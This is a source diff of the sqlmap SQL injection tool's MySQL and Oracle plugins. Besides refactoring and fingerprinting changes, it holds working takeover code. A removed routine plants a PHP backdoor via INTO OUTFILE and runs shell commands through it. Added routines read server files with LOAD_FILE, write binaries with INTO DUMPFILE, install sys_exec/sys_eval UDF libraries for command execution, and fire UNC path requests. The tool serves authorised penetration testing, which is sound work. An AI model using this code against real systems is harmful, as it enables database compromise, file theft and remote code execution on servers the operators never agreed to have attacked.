||||
self.excludeDbsList = MYSQL_SYSTEM_DBS
|
||||
|
||||
Enumeration.__init__(self, "MySQL")
|
||||
Filesystem.__init__(self)
|
||||
Takeover.__init__(self)
|
||||
|
||||
unescaper.setUnescape(MySQLMap.unescape)
|
||||
|
||||
@@ -125,8 +134,8 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
|
||||
|
||||
def __commentCheck(self):
|
||||
logMsg = "executing MySQL comment injection fingerprint"
|
||||
logger.info(logMsg)
|
||||
infoMsg = "executing MySQL comment injection fingerprint"
|
||||
logger.info(infoMsg)
|
||||
|
||||
query = agent.prefixQuery(" /* NoValue */")
|
||||
query = agent.postfixQuery(query)
|
||||
@@ -139,14 +148,14 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
|
||||
return None
|
||||
|
||||
# MySQL valid versions updated at 10/2008
|
||||
# MySQL valid versions updated on 02/2009
|
||||
versions = (
|
||||
(32200, 32233), # MySQL 3.22
|
||||
(32300, 32359), # MySQL 3.23
|
||||
(40000, 40031), # MySQL 4.0
|
||||
(40100, 40125), # MySQL 4.1
|
||||
(50000, 50074), # MySQL 5.0
|
||||
(50100, 50131), # MySQL 5.1
|
||||
(40100, 40122), # MySQL 4.1
|
||||
(50000, 50077), # MySQL 5.0
|
||||
(50100, 50132), # MySQL 5.1
|
||||
(60000, 60009), # MySQL 6.0
|
||||
)
|
||||
|
||||
@@ -186,7 +195,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
if wsOsFp:
|
||||
value += "%s\n" % wsOsFp
|
||||
|
||||
if self.banner:
|
||||
if kb.data.banner:
|
||||
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
|
||||
|
||||
if dbmsOsFp:
|
||||
@@ -199,19 +208,19 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
value += actVer
|
||||
return value
|
||||
|
||||
comVer = self.__commentCheck()
|
||||
blank = " " * 15
|
||||
value += "active fingerprint: %s" % actVer
|
||||
# TODO: comment injection fingerprint is broken, fix
|
||||
comVer = self.__commentCheck()
|
||||
blank = " " * 15
|
||||
value += "active fingerprint: %s" % actVer
|
||||
|
||||
if comVer:
|
||||
comVer = formatDBMSfp([comVer])
|
||||
value += "\n%scomment injection fingerprint: %s" % (blank, comVer)
|
||||
|
||||
if kb.bannerFp:
|
||||
# TODO: move to the XML banner file
|
||||
banVer = kb.bannerFp["dbmsVersion"]
|
||||
|
||||
if re.search("-log$", self.banner):
|
||||
if re.search("-log$", kb.data.banner):
|
||||
banVer += ", logging enabled"
|
||||
|
||||
banVer = formatDBMSfp([banVer])
|
||||
@@ -238,15 +247,15 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
setDbms("MySQL %s" % kb.dbmsVersion[0])
|
||||
|
||||
if int(kb.dbmsVersion[0]) >= 5:
|
||||
self.has_information_schema = True
|
||||
kb.data.has_information_schema = True
|
||||
|
||||
self.getPrematureBanner("VERSION()")
|
||||
self.getBanner()
|
||||
|
||||
if not conf.extensiveFp:
|
||||
return True
|
||||
|
||||
logMsg = "testing MySQL"
|
||||
logger.info(logMsg)
|
||||
infoMsg = "testing MySQL"
|
||||
logger.info(infoMsg)
|
||||
|
||||
randInt = str(randomInt(1))
|
||||
|
||||
@@ -254,8 +263,8 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
result = Request.queryPage(payload)
|
||||
|
||||
if result == True:
|
||||
logMsg = "confirming MySQL"
|
||||
logger.info(logMsg)
|
||||
infoMsg = "confirming MySQL"
|
||||
logger.info(infoMsg)
|
||||
|
||||
payload = agent.fullPayload(" AND ISNULL(1/0)")
|
||||
result = Request.queryPage(payload)
|
||||
@@ -267,38 +276,32 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
return False
|
||||
|
||||
# Determine if it is MySQL >= 5.0.0
|
||||
if inject.getValue("SELECT %s FROM information_schema.TABLES LIMIT 0, 1" % randInt) == randInt:
|
||||
setDbms("MySQL 5")
|
||||
self.has_information_schema = True
|
||||
if inject.getValue("SELECT %s FROM information_schema.TABLES LIMIT 0, 1" % randInt, charsetType=2) == randInt:
|
||||
kb.data.has_information_schema = True
|
||||
kb.dbmsVersion = [">= 5.0.0"]
|
||||
|
||||
self.getPrematureBanner("VERSION()")
|
||||
setDbms("MySQL 5")
|
||||
|
||||
self.getBanner()
|
||||
|
||||
if not conf.extensiveFp:
|
||||
kb.dbmsVersion = [">= 5.0.0"]
|
||||
return True
|
||||
|
||||
# Check if it is MySQL >= 6.0.3
|
||||
if inject.getValue("SELECT %s FROM information_schema.PARAMETERS LIMIT 0, 1" % randInt) == randInt:
|
||||
if inject.getValue("SELECT %s FROM information_schema.PROFILING LIMIT 0, 1" % randInt) == randInt:
|
||||
kb.dbmsVersion = [">= 6.0.5"]
|
||||
else:
|
||||
kb.dbmsVersion = [">= 6.0.3", "< 6.0.5"]
|
||||
|
||||
# Or if it MySQL >= 5.1.2 and < 6.0.3
|
||||
elif inject.getValue("MID(@@table_open_cache, 1, 1)"):
|
||||
if inject.getValue("SELECT %s FROM information_schema.PROCESSLIST LIMIT 0, 1" % randInt) == randInt:
|
||||
kb.dbmsVersion = [">= 5.1.7", "< 6.0.3"]
|
||||
elif inject.getValue("SELECT %s FROM information_schema.PARTITIONS LIMIT 0, 1" % randInt) == randInt:
|
||||
# Check if it is MySQL >= 5.1.2
|
||||
if inject.getValue("MID(@@table_open_cache, 1, 1)", unpack=False):
|
||||
if inject.getValue("SELECT %s FROM information_schema.PROCESSLIST LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt:
|
||||
kb.dbmsVersion = [">= 5.1.7"]
|
||||
elif inject.getValue("SELECT %s FROM information_schema.PARTITIONS LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt:
|
||||
kb.dbmsVersion = ["= 5.1.6"]
|
||||
elif inject.getValue("SELECT %s FROM information_schema.PLUGINS LIMIT 0, 1" % randInt) == randInt:
|
||||
elif inject.getValue("SELECT %s FROM information_schema.PLUGINS LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt:
|
||||
kb.dbmsVersion = [">= 5.1.5", "< 5.1.6"]
|
||||
else:
|
||||
kb.dbmsVersion = [">= 5.1.2", "< 5.1.5"]
|
||||
|
||||
# Or if it is MySQL >= 5.0.0 and < 5.1.2
|
||||
elif inject.getValue("MID(@@hostname, 1, 1)"):
|
||||
elif inject.getValue("MID(@@hostname, 1, 1)", unpack=False):
|
||||
kb.dbmsVersion = [">= 5.0.38", "< 5.1.2"]
|
||||
elif inject.getValue("SELECT 1 FROM DUAL") == "1":
|
||||
elif inject.getValue("SELECT 1 FROM DUAL", charsetType=1) == "1":
|
||||
kb.dbmsVersion = [">= 5.0.11", "< 5.0.38"]
|
||||
elif inject.getValue("DATABASE() LIKE SCHEMA()"):
|
||||
kb.dbmsVersion = [">= 5.0.2", "< 5.0.11"]
|
||||
@@ -307,10 +310,11 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
|
||||
# Otherwise assume it is MySQL < 5.0.0
|
||||
else:
|
||||
setDbms("MySQL 4")
|
||||
kb.dbmsVersion = ["< 5.0.0"]
|
||||
|
||||
self.getPrematureBanner("VERSION()")
|
||||
setDbms("MySQL 4")
|
||||
|
||||
self.getBanner()
|
||||
|
||||
if not conf.extensiveFp:
|
||||
return True
|
||||
@@ -329,7 +333,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
kb.dbmsVersion = ["= 4.1.0"]
|
||||
else:
|
||||
kb.dbmsVersion = [">= 4.0.6", "< 4.1.0"]
|
||||
elif inject.getValue("FOUND_ROWS()") == "0":
|
||||
elif inject.getValue("FOUND_ROWS()", charsetType=1) == "0":
|
||||
kb.dbmsVersion = [">= 4.0.0", "< 4.0.6"]
|
||||
elif inject.getValue("CONNECTION_ID()"):
|
||||
kb.dbmsVersion = [">= 3.23.14", "< 4.0.0"]
|
||||
@@ -346,181 +350,261 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
return False
|
||||
|
||||
|
||||
def readFile(self, rFile):
|
||||
logMsg = "fetching file: '%s'" % rFile
|
||||
logger.info(logMsg)
|
||||
def checkDbmsOs(self, detailed=False):
|
||||
if kb.os:
|
||||
return
|
||||
|
||||
return inject.getValue("LOAD_FILE('%s')" % rFile)
|
||||
infoMsg = "fingerprinting the back-end DBMS operating system"
|
||||
logger.info(infoMsg)
|
||||
|
||||
self.createSupportTbl(self.fileTblName, self.tblField, "text")
|
||||
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()"))
|
||||
|
||||
def osShell(self):
|
||||
"""
|
||||
This method is used to write a PHP agent (cmd.php) on a writable
|
||||
remote directory within the web server document root.
|
||||
Such agent is written using the INTO OUTFILE MySQL DBMS
|
||||
functionality
|
||||
datadirSubstr = inject.getValue("SELECT MID(@@datadir, 1, 1)", unpack=False)
|
||||
|
||||
@todo: * Add a web application crawling functionality to detect
|
||||
all (at least most) web server directories and merge with
|
||||
Google results if the target host is a publicly available
|
||||
hostname or IP address;
|
||||
* Extend to all DBMS using their functionalities (UDF, stored
|
||||
procedures, etc) to write files on the system or directly
|
||||
execute commands on the system without passing by the agent;
|
||||
* Automatically detect the web server available interpreters
|
||||
parsing 'Server', 'X-Powered-By' and 'X-AspNet-Version' HTTP
|
||||
response headers;
|
||||
* Extend the agent to other interpreters rather than only PHP:
|
||||
ASP, JSP, CGI (Python, Perl, Ruby, Bash).
|
||||
"""
|
||||
|
||||
logMsg = "retrieving web application directories"
|
||||
logger.info(logMsg)
|
||||
|
||||
directories = getDirectories()
|
||||
|
||||
if directories:
|
||||
logMsg = "retrieved web server directories "
|
||||
logMsg += "'%s'" % ", ".join(d for d in directories)
|
||||
logger.info(logMsg)
|
||||
|
||||
message = "in addition you can provide a list of directories "
|
||||
message += "absolute path comma separated that you want sqlmap "
|
||||
message += "to try to upload the agent [/var/www/test]: "
|
||||
inputDirs = readInput(message, default="/var/www/test")
|
||||
if datadirSubstr == "/":
|
||||
kb.os = "Linux"
|
||||
else:
|
||||
message = "please provide the web server document root [/var/www]: "
|
||||
inputDocRoot = readInput(message, default="/var/www")
|
||||
kb.os = "Windows"
|
||||
|
||||
if inputDocRoot:
|
||||
kb.docRoot = inputDocRoot
|
||||
else:
|
||||
kb.docRoot = "/var/www"
|
||||
infoMsg = "the back-end DBMS operating system is %s" % kb.os
|
||||
logger.info(infoMsg)
|
||||
|
||||
message = "please provide a list of directories absolute path "
|
||||
message += "comma separated that you want sqlmap to try to "
|
||||
message += "upload the agent [/var/www/test]: "
|
||||
inputDirs = readInput(message, default="/var/www/test")
|
||||
if detailed == False:
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
|
||||
if inputDirs:
|
||||
inputDirs = inputDirs.replace(", ", ",")
|
||||
inputDirs = inputDirs.split(",")
|
||||
return
|
||||
|
||||
for inputDir in inputDirs:
|
||||
directories.add(inputDir)
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
|
||||
|
||||
def unionReadFile(self, rFile):
|
||||
infoMsg = "fetching file: '%s'" % rFile
|
||||
logger.info(infoMsg)
|
||||
|
||||
result = inject.getValue("SELECT HEX(LOAD_FILE('%s'))" % rFile)
|
||||
|
||||
return result
|
||||
|
||||
|
||||
def stackedReadFile(self, rFile):
|
||||
infoMsg = "fetching file: '%s'" % rFile
|
||||
logger.info(infoMsg)
|
||||
|
||||
self.createSupportTbl(self.fileTblName, self.tblField, "longtext")
|
||||
self.getRemoteTempPath()
|
||||
|
||||
tmpFile = "%s/sqlmapfilehex%s" % (conf.tmpPath, randomStr(lowercase=True))
|
||||
|
||||
debugMsg = "saving hexadecimal encoded content of file '%s' " % rFile
|
||||
debugMsg += "into temporary file '%s'" % tmpFile
|
||||
logger.debug(debugMsg)
|
||||
inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (rFile, tmpFile))
|
||||
|
||||
debugMsg = "loading the content of hexadecimal encoded file "
|
||||
debugMsg += "'%s' into support table" % rFile
|
||||
logger.debug(debugMsg)
|
||||
inject.goStacked("LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)" % (tmpFile, self.fileTblName, randomStr(10), self.tblField))
|
||||
|
||||
length = inject.getValue("SELECT LENGTH(%s) FROM %s" % (self.tblField, self.fileTblName), sort=False, resumeValue=False, charsetType=2)
|
||||
|
||||
if not length.isdigit() or not len(length) or length in ( "0", "1" ):
|
||||
errMsg = "unable to retrieve the content of the "
|
||||
errMsg += "file '%s'" % rFile
|
||||
raise sqlmapNoneDataException, errMsg
|
||||
|
||||
length = int(length)
|
||||
sustrLen = 1024
|
||||
|
||||
if length > sustrLen:
|
||||
result = []
|
||||
|
||||
for i in range(1, length, sustrLen):
|
||||
chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, sustrLen, self.fileTblName), unpack=False, sort=False, resumeValue=False, charsetType=3)
|
||||
|
||||
result.append(chunk)
|
||||
else:
|
||||
directories.add("/var/www/test")
|
||||
result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), sort=False, resumeValue=False, charsetType=3)
|
||||
|
||||
logMsg = "trying to upload the uploader agent"
|
||||
logger.info(logMsg)
|
||||
return result
|
||||
|
||||
directories = list(directories)
|
||||
directories.sort()
|
||||
uploaded = False
|
||||
|
||||
backdoorName = "backdoor.php"
|
||||
backdoorPath = "%s/%s" % (paths.SQLMAP_SHELL_PATH, backdoorName)
|
||||
uploaderName = "uploader.php"
|
||||
uploaderStr = fileToStr("%s/%s" % (paths.SQLMAP_SHELL_PATH, uploaderName))
|
||||
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
|
||||
logger.debug("encoding file to its hexadecimal string value")
|
||||
|
||||
for directory in directories:
|
||||
if uploaded:
|
||||
break
|
||||
fcEncodedList = self.fileEncode(wFile, "hex", True)
|
||||
fcEncodedStr = fcEncodedList[0]
|
||||
fcEncodedStrLen = len(fcEncodedStr)
|
||||
|
||||
# Upload the uploader agent
|
||||
uploaderQuery = uploaderStr.replace("WRITABLE_DIR", directory)
|
||||
query = " LIMIT 1 INTO OUTFILE '%s/%s' " % (directory, uploaderName)
|
||||
query += "LINES TERMINATED BY '\\n%s\\n'--" % uploaderQuery
|
||||
if kb.injPlace == "GET" and fcEncodedStrLen > 8000:
|
||||
warnMsg = "the injection is on a GET parameter and the file "
|
||||
warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
|
||||
warnMsg += "bytes, this might cause errors in the file "
|
||||
warnMsg += "writing process"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
query = agent.prefixQuery(" %s" % query)
|
||||
query = agent.postfixQuery(query)
|
||||
unionTest()
|
||||
|
||||
payload = agent.payload(newValue=query)
|
||||
page = Request.queryPage(payload)
|
||||
oldParamFalseCond = conf.paramFalseCond
|
||||
conf.paramFalseCond = True
|
||||
|
||||
if kb.docRoot:
|
||||
requestDir = directory.replace(kb.docRoot, "")
|
||||
debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile)
|
||||
logger.debug(debugMsg)
|
||||
|
||||
sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, dFile)
|
||||
unionUse(sqlQuery, direct=True, unescape=False, nullChar="''")
|
||||
|
||||
conf.paramFalseCond = oldParamFalseCond
|
||||
|
||||
if confirm == True:
|
||||
self.askCheckWrittenFile(wFile, dFile, fileType)
|
||||
|
||||
|
||||
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
|
||||
debugMsg = "creating a support table to write the hexadecimal "
|
||||
debugMsg += "encoded file to"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
self.createSupportTbl(self.fileTblName, self.tblField, "longblob")
|
||||
|
||||
logger.debug("encoding file to its hexadecimal string value")
|
||||
fcEncodedList = self.fileEncode(wFile, "hex", False)
|
||||
|
||||
debugMsg = "forging SQL statements to write the hexadecimal "
|
||||
debugMsg += "encoded file to the support table"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
sqlQueries = self.fileToSqlQueries(fcEncodedList)
|
||||
|
||||
logger.debug("inserting the hexadecimal encoded file to the support table")
|
||||
|
||||
for sqlQuery in sqlQueries:
|
||||
inject.goStacked(sqlQuery)
|
||||
|
||||
debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile)
|
||||
logger.debug(debugMsg)
|
||||
|
||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html
|
||||
inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile))
|
||||
|
||||
if confirm == True:
|
||||
self.askCheckWrittenFile(wFile, dFile, fileType)
|
||||
|
||||
|
||||
def udfInit(self):
|
||||
self.getVersionFromBanner()
|
||||
|
||||
banVer = kb.bannerFp["dbmsVersion"]
|
||||
dFile = None
|
||||
wFile = paths.SQLMAP_UDF_PATH
|
||||
lib = "libsqlmapudf%s" % randomStr(lowercase=True)
|
||||
|
||||
if kb.os == "Windows":
|
||||
wFile += "/mysql/windows/lib_mysqludf_sys.dll"
|
||||
libExt = "dll"
|
||||
else:
|
||||
wFile += "/mysql/linux/lib_mysqludf_sys.so"
|
||||
libExt = "so"
|
||||
|
||||
for udf in ( "sys_exec", "sys_eval" ):
|
||||
if udf in self.createdUdf:
|
||||
continue
|
||||
|
||||
logger.info("checking if %s UDF already exist" % udf)
|
||||
|
||||
query = agent.forgeCaseStatement("(SELECT name FROM mysql.func WHERE name='%s' LIMIT 0, 1)='%s'" % (udf, udf))
|
||||
exists = inject.getValue(query, resumeValue=False, unpack=False)
|
||||
|
||||
if exists == "1":
|
||||
message = "%s UDF already exists, do you " % udf
|
||||
message += "want to overwrite it? [y/N] "
|
||||
output = readInput(message, default="N")
|
||||
|
||||
if output and output in ("y", "Y"):
|
||||
self.udfToCreate.add(udf)
|
||||
else:
|
||||
requestDir = directory
|
||||
self.udfToCreate.add(udf)
|
||||
|
||||
baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
|
||||
uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
|
||||
page, _ = Request.getPage(url=uploaderUrl, direct=True)
|
||||
if len(self.udfToCreate) > 0:
|
||||
# On Windows
|
||||
if kb.os == "Windows":
|
||||
# On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0
|
||||
if banVer >= "5.1.19":
|
||||
if self.__basedir == None:
|
||||
logger.info("retrieving MySQL base directory absolute path")
|
||||
|
||||
if "sqlmap backdoor uploader" not in page:
|
||||
warnMsg = "unable to upload the uploader "
|
||||
warnMsg += "agent on '%s'" % directory
|
||||
logger.warn(warnMsg)
|
||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir
|
||||
self.__basedir = inject.getValue("SELECT @@basedir")
|
||||
self.__basedir = os.path.normpath(self.__basedir.replace("\\", "/"))
|
||||
|
||||
continue
|
||||
if re.search("^[\w]\:[\/\\\\]+", self.__basedir, re.I):
|
||||
kb.os = "Windows"
|
||||
|
||||
logMsg = "the uploader agent has been successfully uploaded "
|
||||
logMsg += "on '%s'" % directory
|
||||
logger.info(logMsg)
|
||||
# The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin
|
||||
dFile = "%s/lib/plugin/%s.%s" % (self.__basedir, lib, libExt)
|
||||
|
||||
# Upload the backdoor through the uploader agent
|
||||
multipartParams = {
|
||||
"upload": "1",
|
||||
"file": open(backdoorPath, "r"),
|
||||
"uploadDir": directory,
|
||||
}
|
||||
uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
|
||||
page = Request.getPage(url=uploaderUrl, multipart=multipartParams)
|
||||
logger.warn("this will only work if the database administrator created manually the '%s/lib/plugin' subfolder" % self.__basedir)
|
||||
|
||||
if "Backdoor uploaded" not in page:
|
||||
warnMsg = "unable to upload the backdoor through "
|
||||
warnMsg += "the uploader agent on '%s'" % directory
|
||||
logger.warn(warnMsg)
|
||||
|
||||
continue
|
||||
|
||||
uploaded = True
|
||||
|
||||
backdoorUrl = "%s/%s" % (baseUrl, backdoorName)
|
||||
logMsg = "the backdoor has been successfully uploaded on "
|
||||
logMsg += "'%s', go with your browser to " % directory
|
||||
logMsg += "'%s' and enjoy it!" % backdoorUrl
|
||||
logger.info(logMsg)
|
||||
|
||||
message = "do you want to use the uploaded backdoor as a "
|
||||
message += "shell to execute commands right now? [Y/n] "
|
||||
shell = readInput(message, default="Y")
|
||||
|
||||
if shell in ("n", "N"):
|
||||
continue
|
||||
|
||||
logMsg = "calling OS shell. To quit type "
|
||||
logMsg += "'x' or 'q' and press ENTER"
|
||||
logger.info(logMsg)
|
||||
|
||||
autoCompletion(osShell=True)
|
||||
|
||||
while True:
|
||||
command = None
|
||||
|
||||
try:
|
||||
command = raw_input("$ ")
|
||||
except KeyboardInterrupt:
|
||||
print
|
||||
errMsg = "user aborted"
|
||||
logger.error(errMsg)
|
||||
except EOFError:
|
||||
print
|
||||
errMsg = "exit"
|
||||
logger.error(errMsg)
|
||||
break
|
||||
|
||||
if not command:
|
||||
continue
|
||||
|
||||
if command.lower() in ( "x", "q", "exit", "quit" ):
|
||||
break
|
||||
|
||||
cmdUrl = "%s?cmd=%s" % (backdoorUrl, command)
|
||||
page, _ = Request.getPage(url=cmdUrl, direct=True)
|
||||
output = re.search("<pre>(.+?)</pre>", page, re.I | re.S)
|
||||
|
||||
if output:
|
||||
print output.group(1)
|
||||
# On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
|
||||
# On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
|
||||
else:
|
||||
print "No output"
|
||||
#logger.debug("retrieving MySQL data directory absolute path")
|
||||
|
||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir
|
||||
#datadir = inject.getValue("SELECT @@datadir")
|
||||
|
||||
# NOTE: specifying the relative path as './udf.dll'
|
||||
# saves in @@datadir on both MySQL 4.1 and MySQL 5.0
|
||||
datadir = "."
|
||||
datadir = os.path.normpath(datadir.replace("\\", "/"))
|
||||
|
||||
if re.search("[\w]\:\/", datadir, re.I):
|
||||
kb.os = "Windows"
|
||||
|
||||
# The DLL can be in either C:\WINDOWS, C:\WINDOWS\system,
|
||||
# C:\WINDOWS\system32, @@basedir\bin or @@datadir
|
||||
dFile = "%s/%s.%s" % (datadir, lib, libExt)
|
||||
|
||||
# On Linux
|
||||
else:
|
||||
# The SO can be in either /lib, /usr/lib or one of the
|
||||
# paths specified in /etc/ld.so.conf file, none of these
|
||||
# paths are writable by mysql user by default
|
||||
# TODO: test with plugins folder on MySQL >= 5.1.19
|
||||
dFile = "/usr/lib/%s.%s" % (lib, libExt)
|
||||
|
||||
self.writeFile(wFile, dFile, "binary", False)
|
||||
|
||||
for udf, retType in ( ( "sys_exec", "int" ), ( "sys_eval", "string" ) ):
|
||||
if udf in self.createdUdf:
|
||||
continue
|
||||
|
||||
if udf in self.udfToCreate:
|
||||
logger.info("creating %s UDF from the binary UDF file" % udf)
|
||||
|
||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
|
||||
inject.goStacked("DROP FUNCTION %s" % udf)
|
||||
inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, retType, lib, libExt))
|
||||
else:
|
||||
logger.debug("keeping existing %s UDF as requested" % udf)
|
||||
|
||||
self.createdUdf.add(udf)
|
||||
|
||||
self.envInitialized = True
|
||||
|
||||
debugMsg = "creating a support table to write commands standard "
|
||||
debugMsg += "output to"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
self.createSupportTbl(self.cmdTblName, self.tblField, "longtext")
|
||||
|
||||
|
||||
def uncPathRequest(self):
|
||||
if kb.stackedTest == False:
|
||||
query = agent.prefixQuery(" AND LOAD_FILE('%s')" % self.uncPath)
|
||||
query = agent.postfixQuery(query)
|
||||
payload = agent.payload(newValue=query)
|
||||
|
||||
Request.queryPage(payload)
|
||||
else:
|
||||
inject.goStacked("SELECT LOAD_FILE('%s')" % self.uncPath, silent=True)
|
||||
|
||||
@@ -5,8 +5,8 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
@@ -44,10 +44,11 @@ from lib.request.connect import Connect as Request
|
||||
from plugins.generic.enumeration import Enumeration
|
||||
from plugins.generic.filesystem import Filesystem
|
||||
from plugins.generic.fingerprint import Fingerprint
|
||||
from plugins.generic.misc import Miscellaneous
|
||||
from plugins.generic.takeover import Takeover
|
||||
|
||||
|
||||
class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
"""
|
||||
This class defines Oracle methods
|
||||
"""
|
||||
@@ -55,7 +56,10 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
|
||||
def __init__(self):
|
||||
self.excludeDbsList = ORACLE_SYSTEM_DBS
|
||||
|
||||
Enumeration.__init__(self, "Oracle")
|
||||
Filesystem.__init__(self)
|
||||
Takeover.__init__(self)
|
||||
|
||||
unescaper.setUnescape(OracleMap.unescape)
|
||||
|
||||
@@ -124,7 +128,7 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
if wsOsFp:
|
||||
value += "%s\n" % wsOsFp
|
||||
|
||||
if self.banner:
|
||||
if kb.data.banner:
|
||||
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
|
||||
|
||||
if dbmsOsFp:
|
||||
@@ -157,7 +161,7 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
if conf.dbms in ORACLE_ALIASES:
|
||||
setDbms("Oracle")
|
||||
|
||||
self.getPrematureBanner("SELECT banner FROM v$version WHERE ROWNUM=1")
|
||||
self.getBanner()
|
||||
|
||||
if not conf.extensiveFp:
|
||||
return True
|
||||
@@ -183,13 +187,13 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
|
||||
setDbms("Oracle")
|
||||
|
||||
self.getPrematureBanner("SELECT banner FROM v$version WHERE ROWNUM=1")
|
||||
self.getBanner()
|
||||
|
||||
if not conf.extensiveFp:
|
||||
return True
|
||||
|
||||
query = "SELECT SUBSTR((VERSION), 1, 2) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1"
|
||||
version = inject.getValue(query)
|
||||
version = inject.getValue(query, unpack=False)
|
||||
|
||||
if re.search("^11", version):
|
||||
kb.dbmsVersion = ["11i"]
|
||||
@@ -229,3 +233,39 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return []
|
||||
|
||||
|
||||
def readFile(self, rFile):
|
||||
errMsg = "File system read access not yet implemented for "
|
||||
errMsg += "Oracle"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
|
||||
def writeFile(self, wFile, dFile, fileType=None, confirm=True):
|
||||
errMsg = "File system write access not yet implemented for "
|
||||
errMsg += "Oracle"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
|
||||
def osCmd(self):
|
||||
errMsg = "Operating system command execution functionality not "
|
||||
errMsg += "yet implemented for Oracle"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
|
||||
def osShell(self):
|
||||
errMsg = "Operating system shell functionality not yet "
|
||||
errMsg += "implemented for Oracle"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
|
||||
def osPwn(self):
|
||||
errMsg = "Operating system out-of-band control functionality "
|
||||
errMsg += "not yet implemented for Oracle"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
|
||||
def osSmb(self):
|
||||
errMsg = "One click operating system out-of-band control "
|
||||
errMsg += "functionality not yet implemented for Oracle"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
@@ -5,8 +5,8 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
@@ -24,38 +24,50 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
|
||||
|
||||
import os
|
||||
import re
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import formatDBMSfp
|
||||
from lib.core.common import formatFingerprint
|
||||
from lib.core.common import getHtmlErrorFp
|
||||
from lib.core.common import getRange
|
||||
